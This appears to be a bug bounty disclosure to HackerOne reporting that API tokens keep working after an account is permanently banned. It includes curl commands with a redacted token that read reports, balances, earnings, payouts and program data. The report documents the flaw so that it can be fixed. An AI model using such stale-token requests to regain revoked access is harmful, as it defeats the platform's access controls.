Banned user still has access to their deleted account via HackerOne's API using their API key

How it was found

Hello team,

Summary:

When a user's account gets banned (permanently), he is no longer able to submit reports, and as soon as there are no pending payouts the account will be deleted. The user won't have access to the account(login) or show his profile. By using a previously generated API token(before the ban) the user will be able to:

• Get Reports
• Get Balance
• Get Earnings
• Get Payouts
• Get Weaknesses
• Get Programs

Generally, the user will be able to do the following actions https://api.hackerone.com/hacker-reference/#hacker-reference.

Steps to reproduce:

• Create a new account
• Ban the account permanently (I am waiting for approval and I will share an API token for a banned account).

let's assume the

• Username: mrtst
• API token: XXXXXXXXXXXXXXXXXXXX=

Exploit:

• Get Reports (Get a single report also):

curl "https://api.hackerone.com/v1/hackers/me/reports" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

• Get Balance:

curl "https://api.hackerone.com/v1/hackers/payments/balance" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

• Get Earnings:

curl "https://api.hackerone.com/v1/hackers/payments/earnings" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

• Get Payouts:

curl "https://api.hackerone.com/v1/hackers/payments/payouts" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

• Get Weaknesses:

curl "https://api.hackerone.com/v1/hackers/programs/{handle}/weaknesses" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

• Get Programs:

curl "https://api.hackerone.com/v1/hackers/programs" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

Impact

A banned user can fully access his deleted account.

I noticed that you are restricting testing any ban bypass, this is just for testing purposes, and this issue has been discovered and exploited on a test account - Hope I didn't violate any of the rules.

I will share the token as soon as I get the approval.

Best, @mrmax4o4